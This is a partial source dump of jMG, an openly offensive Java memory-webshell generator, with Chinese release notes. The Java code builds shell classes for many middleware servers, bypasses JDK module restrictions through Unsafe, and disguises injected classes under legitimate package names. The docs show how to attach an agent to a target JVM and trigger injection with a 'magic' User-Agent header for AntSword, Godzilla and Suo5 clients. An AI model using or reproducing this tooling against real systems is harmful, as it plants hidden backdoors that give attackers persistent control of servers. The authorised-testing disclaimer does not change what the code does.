49 | JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
50 | } catch (Exception e) {
51 | throw new RuntimeException(e);
52 | }
53 | }
54 |
55 | // Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
56 | public void applyFastjsonGroovyASTTransformation() throws Exception {
57 | config.setImplementsASTTransformationType(true);
58 | JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
59 | JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
60 | }
61 |
62 | // snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
63 | public void applySnakeYamlScriptEngineFactory() throws Exception {
64 | config.setImplementsScriptEngineFactory(true);
65 | JavassistUtil.implementInterface(ctClass, "javax.script.ScriptEngineFactory");
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.core.util;
2 |
3 |
4 | // https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk
5 | public class JDKBypassUtil {
6 |
7 | public static String bypassJDKModuleBody() throws Exception {
8 | return "{try {\n" +
9 | " Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
10 | " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
11 | " unsafeField.setAccessible(true);\n" +
12 | " Object unsafe = unsafeField.get(null);\n" +
13 | " java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" +
14 | " Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" +
15 | " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" +
16 | " java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" +
17 | " Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" +
18 | " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" +
19 | " getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" +
20 | " } catch (Exception ignored) {\n" +
21 | " }}";
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.core.util;
2 |
3 | import java.util.Random;
4 |
5 | public class PackageNameUtil {
6 |
7 | private static final String[] packageNames = {
8 | "org.springframework",
9 | "org.apache.commons",
10 | "org.apache.logging",
11 | "org.apache",
12 | "com.fasterxml.jackson",
13 | "org.junit",
14 | "org.apache.commons.lang",
15 | "org.apache.http.client",
16 | "com.google.gso",
17 | "ch.qos.logback"
18 | };
19 |
20 | public static String generatePackageName() {
21 | Random random = new Random();
22 | String packageName = packageNames[random.nextInt(packageNames.length)];
23 | return packageName;
24 | }
25 |
26 |
27 | public static String getRandomPackageName() {
28 | return generatePackageName();
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.core.util;
2 |
3 | import java.util.AbstractMap;
4 | import java.util.Map;
5 | import java.util.Random;
6 |
7 |
8 | public class RandomHttpHeaderUtil {
9 |
10 | private static final Random RANDOM = new Random();
11 |
12 | public static Map.Entry generateHeader() {
13 | String key = generateRandomKey();
14 | String value = generateRandomValue(key);
15 | return new AbstractMap.SimpleEntry<>(key, value);
16 | }
17 |
18 | private static String generateRandomKey() {
19 | String[] keys = {"Referer","User-Agent"};
20 | return keys[RANDOM.nextInt(keys.length)];
21 | }
22 |
23 | private static String generateRandomValue(String key) {
24 | switch (key) {
25 | case "Referer":
26 | case "User-Agent":
27 | return generateRandomValue();
28 | default:
29 | return "";
30 | }
31 | }
32 |
33 | private static String generateRandomValue() {
34 | return CommonUtil.genRandomLengthString(4);
35 | }
36 |
37 | }
38 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/util/ResponseUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.core.util;
2 |
3 | import java.util.HashMap;
4 | import java.util.Map;
5 |
6 |
7 | public class ResponseUtil {
8 |
9 | private static final Map METHOD_BODY_MAP = new HashMap<>();
10 |
11 | static {
12 | METHOD_BODY_MAP.put("tomcat", getCommonMethodBody());
13 | METHOD_BODY_MAP.put("jboss", getCommonMethodBody());
14 | METHOD_BODY_MAP.put("weblogic", getCommonMethodBody());
15 | METHOD_BODY_MAP.put("glassfish", getCommonMethodBody());
16 | METHOD_BODY_MAP.put("resin", getResinMethodBody());
17 | METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
18 | METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
19 | METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
20 | METHOD_BODY_MAP.put("inforsuite", getCommonMethodBody());
21 | METHOD_BODY_MAP.put("bes", getCommonMethodBody());
22 | METHOD_BODY_MAP.put("tongweb", getTongwebMethodBody());
23 | METHOD_BODY_MAP.put("apusic", getApusicMethodBody());
24 | }
25 |
26 | public static String getMethodBody(String serverType) {
27 | return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), "");
28 | }
29 |
30 | private static String getCommonMethodBody() {
31 | return "{javax.servlet.http.HttpServletResponse response = null;" +
32 | " try {" +
33 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
34 | " } catch (Exception ex) {" +
35 | " try {" +
36 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
37 | " } catch (Exception ex1) {" +
38 | " }" +
39 | " }" +
40 | " return response;}";
41 | }
42 |
43 | private static String getResinMethodBody() {
44 | return "{javax.servlet.http.HttpServletResponse response;" +
45 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" +
46 | " return response;}";
47 | }
48 |
49 | private static String getJettyMethodBody() {
50 | return "{javax.servlet.http.HttpServletResponse response;\n" +
51 | " try{\n" +
52 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" +
53 | " }catch (Exception e){\n" +
54 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" +
55 | " }\n" +
56 | " return response;}";
57 | }
58 |
59 | private static String getWebsphereMethodBody() {
60 | return "{javax.servlet.http.HttpServletResponse response;" +
61 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" +
62 | " return response;}";
63 | }
64 |
65 |
66 | private static String getUndertowMethodBody() {
67 | return "{javax.servlet.http.HttpServletResponse response = null;\n" +
68 | "java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" +
69 | "Object[] keys = map.keySet().toArray();\n" +
70 | "for (int i = 0; i < keys.length; i++) {\n" +
71 | " Object key = keys[i];\n" +
72 | " if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" +
73 | " response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" +
74 | " break;\n" +
75 | " }\n" +
76 | "}\n" +
77 | "return response;}";
78 |
79 | }
80 |
81 | private static String getTongwebMethodBody() {
82 | return "{javax.servlet.http.HttpServletResponse response = null;" +
83 | " try {" +
84 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
85 | " } catch (Exception ex) {" +
86 | " try {" +
87 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
88 | " } catch (Exception ex1) {" +
89 | " }" +
90 | " }\n" +
91 | " return response;}";
92 | }
93 |
94 | private static String getApusicMethodBody() {
95 | return "{javax.servlet.http.HttpServletResponse response;" +
96 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"http\"),\"response\");" +
97 | " return response;}";
98 | }
99 |
100 | }
101 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java:
--------------------------------------------------------------------------------
1 | package org.springframework.web.servlet;
2 |
3 | public interface AsyncHandlerInterceptor {
4 | }
5 |
--------------------------------------------------------------------------------
/jmg-core/src/main/resources/jmg-agent.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-core/src/main/resources/jmg-agent.jar
--------------------------------------------------------------------------------
/jmg-custom/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | 1.0.9
8 |
9 | jmg-custom
10 |
11 |
12 |
13 |
14 | ${parent.groupId}
15 | jmg-core
16 | ${parent.version}
17 | compile
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.custom.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import jmg.core.config.AbstractConfig;
7 | import jmg.core.generator.IShellGenerator;
8 | import jmg.core.util.CommonUtil;
9 |
10 | import javax.servlet.Filter;
11 | import javax.servlet.ServletRequestListener;
12 | import java.io.DataInputStream;
13 | import java.io.File;
14 | import java.io.FileInputStream;
15 |
16 | public class CustomGenerator implements IShellGenerator {
17 | @Override
18 | public void initShell(AbstractConfig config) {
19 | File f;
20 | try {
21 | f = new File(config.getClassFilePath());
22 | if (!f.exists() || !f.isFile()) {
23 | return;
24 | }
25 | ClassPool classPool = ClassPool.getDefault();
26 | classPool.insertClassPath(new ClassClassPath(Filter.class));
27 | classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class));
28 | classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor");
29 | classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor");
30 | String filePath = config.getClassFilePath();
31 | CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath)));
32 | config.setShellClassName(ctClass.getName());
33 | ctClass.detach();
34 | } catch (Exception e) {
35 | e.printStackTrace();
36 | throw new RuntimeException(e);
37 | }
38 | }
39 |
40 | @Override
41 | public byte[] makeShell(AbstractConfig config) throws Exception {
42 | initShell(config);
43 | byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath());
44 | config.setShellBytes(bytes);
45 | config.setShellBytesLength(bytes.length);
46 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
47 | return bytes;
48 | }
49 |
50 | @Override
51 | public byte[] modifyShell(String className, AbstractConfig config) {
52 | return null;
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708846585021.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708846585021.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708846851378.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708846851378.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847432299.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847432299.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847448833.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847448833.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847459275.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847459275.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847507811.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847507811.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847533913.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847533913.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847546219.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847546219.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847591532.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847591532.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847605226.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847605226.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847621706.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847621706.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847681909.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847681909.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847705412.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847705412.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847745212.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847745212.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847792621.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847792621.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847802775.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847802775.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847855479.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847855479.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847867937.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847867937.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847885651.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847885651.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847896934.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847896934.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847909642.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847909642.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847921416.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847921416.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847982473.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847982473.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708847996329.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847996329.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708848005979.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708848005979.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.4/img/1708848140183.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708848140183.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.5/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: jMG v1.0.5
3 | author: pen4uin
4 | date: 2023-06-10
5 | ---
6 |
7 |
8 | # jMG v1.0.5
9 |
10 | ## 0x01 前言
11 |
12 | 上篇文章中介绍了该工具作为 woodpecekr 插件的工作模式,并通过多个代码执行漏洞场景进行了演示。
13 |
14 | 本篇文章是在添加对GUI 工作模式支持后的补充。
15 |
16 | ## 0x02 工具简介
17 |
18 | **jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。不仅可作为 woodpecker 的插件使用,也可以作为独立的 GUI 工具进行使用。
19 |
20 |
21 | ## 0x03 工作模式
22 |
23 | ### 插件 for Woodpecker
24 |
25 | 
26 |
27 | ### 独立 GUI
28 |
29 | 
30 |
31 |
32 |
33 | ## 0x04 小结
34 |
35 | 免责声明
36 | > 该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。
37 |
38 |
39 |
40 | 参考
41 |
42 | - https://github.com/feihong-cs/memShell
43 | - https://github.com/su18/MemoryShell
44 | - https://github.com/BeichenDream/GodzillaMemoryShellProject
45 | - https://github.com/woodpecker-framework/
46 | - https://github.com/woodpecker-appstore/jexpr-encoder-utils
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/jmg-docs/1.0.5/img/1708845865802.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.5/img/1708845865802.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.5/img/1708845885725.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.5/img/1708845885725.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: jMG v1.0.6
3 | author: pen4uin
4 | date: 2023-09-03
5 | ---
6 |
7 | # jMG v1.0.6
8 |
9 | ## 0x01 前言
10 |
11 | jMG(Java Memshell Generator)v1.0.6 完成了来自社区师傅们的大部分反馈和需求。
12 |
13 |
14 | ## 0x02 更新日志
15 | 核心模块
16 |
17 | - 新增对网站管理工具「AntSword」的支持,提供 Listener/Filter 类型内存马的注入
18 | - 新增对HTTP代理工具「Suo5」 的支持,提供 Listener/Filter/Interceptor 类型内存马的注入
19 | - 新增对响应式框架 Spring WebFlux 内存马的支持
20 | - 修复中间件 WebSphere 注入器的 Bug
21 | - 删除class 的SourceFileAttribute (源文件名) 信息
22 |
23 | 使用体验
24 |
25 | - 新增设置菜单,支持多种主题切换
26 | - 新增右键菜单,支持以文件保存结果
27 | - 其他优化
28 |
29 | ## 0x03 功能测试
30 |
31 | ### AntSword
32 |
33 | 1、选择工具类型为 AntSword,生成 payload
34 |
35 | 
36 |
37 | 2、注入后按照使用说明进行连接
38 |
39 | 
40 |
41 |
42 | ### Suo5
43 |
44 | > 感谢Koalr师傅提供的suo5 listener/interceptor server端
45 |
46 | 1、选择工具类型为 Suo5,生成 payload
47 |
48 | 
49 |
50 | 2、注入后按照使用说明进行连接
51 |
52 | 
53 |
54 | ### Spring WebFlux
55 |
56 | 本地测试环境
57 |
58 | - SpringBoot 2.7.15
59 | - spring-webflux-5.3.29.jar
60 |
61 | 1、选择工具类型为 Godzilla,生成 payload(目前只适配了 Godzilla)
62 |
63 | 
64 |
65 | 2、注入后按照使用说明进行连接
66 |
67 | 
68 |
69 | ### 主题切换
70 |
71 | 此更新主要是为了提升用户体验。
72 |
73 | 默认 - FlatLightLaf
74 |
75 | 
76 |
77 | 其他 - FlatDarcula
78 |
79 | 
80 |
81 | ## 0x04 小结
82 |
83 | jMG 目前已经基本覆盖大部分场景的内存马利用需求。
84 |
85 |
86 |
87 |
88 |
89 |
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844544858.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844544858.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844556273.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844556273.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844588193.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844588193.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844598859.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844598859.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844631477.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844631477.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844642216.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844642216.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844692315.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844692315.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.6/img/1708844703467.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844703467.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: jMG v1.0.8 - Java Agent 篇
3 | author: pen4uin
4 | date: 2024-04-12
5 | ---
6 |
7 | # jMG v1.0.8 - Java Agent 篇
8 |
9 | 鸽了半年的功能 —— 跨 JVM 进程注入内存马。
10 |
11 | https://github.com/pen4uin/java-memshell-generator/issues/4
12 |
13 | ## 0x01 简介
14 |
15 | 新增对 Tomcat 和 SpringBoot(SpringMVC) Agent 注入内存马的支持,并分别在 Tomcat 8 + JDK 8、SpringBoot 2 + JRE 8、XXL-JOB 2.1.0 完成测试。
16 |
17 | ## 0x02 功能测试
18 |
19 | ### Tomcat 8 + JDK 8
20 |
21 | 0、测试环境
22 |
23 | - Tomcat 8.5
24 | - JDK 8
25 |
26 | 1、选择 Tomcat + JAR_AGENT
27 |
28 | 
29 |
30 | 2、将 agent 传到目标服务器上执行
31 |
32 | ```shell
33 | # list pid
34 | java -jar jmg-agent.jar
35 | # attach pid
36 | java -jar jmg-agent.jar [pid]
37 | ```
38 |
39 | 
40 |
41 | 3、注入内存马
42 |
43 | - 携带 User-Agent: magic 触发内存马注入逻辑
44 |
45 | ```http
46 | GET / HTTP/1.1
47 | Host: 127.0.0.1:9090
48 | User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
49 | Accept: image/avif,image/webp,*/*
50 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
51 | Accept-Encoding: gzip, deflate
52 | Connection: close
53 | ```
54 |
55 | 4、按照基础信息进行连接
56 |
57 | 
58 |
59 | ### SpringBoot 2 + JRE 8
60 |
61 | 0、测试环境
62 | - SpringBoot 2.5.3 + Embedded Jetty
63 | - JRE 8
64 |
65 | 1、选择 SpringMVC + JAR_AGENT
66 |
67 | 
68 |
69 | 2、将生成的 agent 传到目标服务器上执行
70 |
71 | 纯 jre 环境无 tools.jar,jmg-agent 会自动释放内置 tools.jar 到临时目录
72 |
73 | 
74 |
75 | 3、注入内存马
76 |
77 | - 携带 User-Agent: magic 触发内存马注入逻辑
78 |
79 | ```http
80 | GET / HTTP/1.1
81 | Host: 127.0.0.1:9090
82 | User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
83 | Accept: image/avif,image/webp,*/*
84 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
85 | Accept-Encoding: gzip, deflate
86 | Connection: close
87 | ```
88 |
89 | 4、按照基础信息进行连接
90 |
91 | 
92 |
93 | ### XXL-JOB (executor -> admin)
94 |
95 | 0、测试环境
96 |
97 | - XXL-JOB 2.1.0
98 | - JDK 8
99 | - Executor 与 Admin 在同一台服务器上
100 |
101 | 1、选择Tomcat + JAR_AGENT
102 |
103 | 
104 |
105 | 2、将 agent 写到目标服务器上执行
106 |
107 | (1) 新增任务列 pid
108 |
109 | 
110 |
111 | (2) 调度日志看结果
112 |
113 | ```text
114 | [*] Found pid 76495 ——> [com.xxl.job.admin.XxlJobAdminApplication]
115 | [*] Found pid 76592 ——> [com.xxl.job.executor.XxlJobExecutorApplication]
116 | ```
117 |
118 | (3) 选择 admin pid 进行 attach
119 |
120 | 
121 |
122 | (4) attach 成功
123 |
124 | 
125 |
126 | 3、注入内存马
127 |
128 | - 携带 User-Agent: magic 触发内存马注入逻辑
129 |
130 | ```http
131 | GET /xxl-job-admin/toLogin HTTP/1.1
132 | Host: 127.0.0.1:9090
133 | User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
134 | Accept: application/json, text/javascript, */*; q=0.01
135 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
136 | Accept-Encoding: gzip, deflate
137 | Connection: close
138 | ```
139 |
140 | 4、按照基础信息进行连接
141 |
142 | 
143 |
144 | ## 0x03 小结
145 |
146 | 测试环境属于较理想环境,实战可能会遇到各种坑点,若有问题反馈与讨论请附上环境信息+报错日志。
147 |
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712860212581.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712860212581.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712860232195.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712860232195.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712860295605.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712860295605.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712866128775.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712866128775.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712866280281.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712866280281.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712866419608.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712866419608.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712867832438.png:
--------------------------------------------------------------------------------
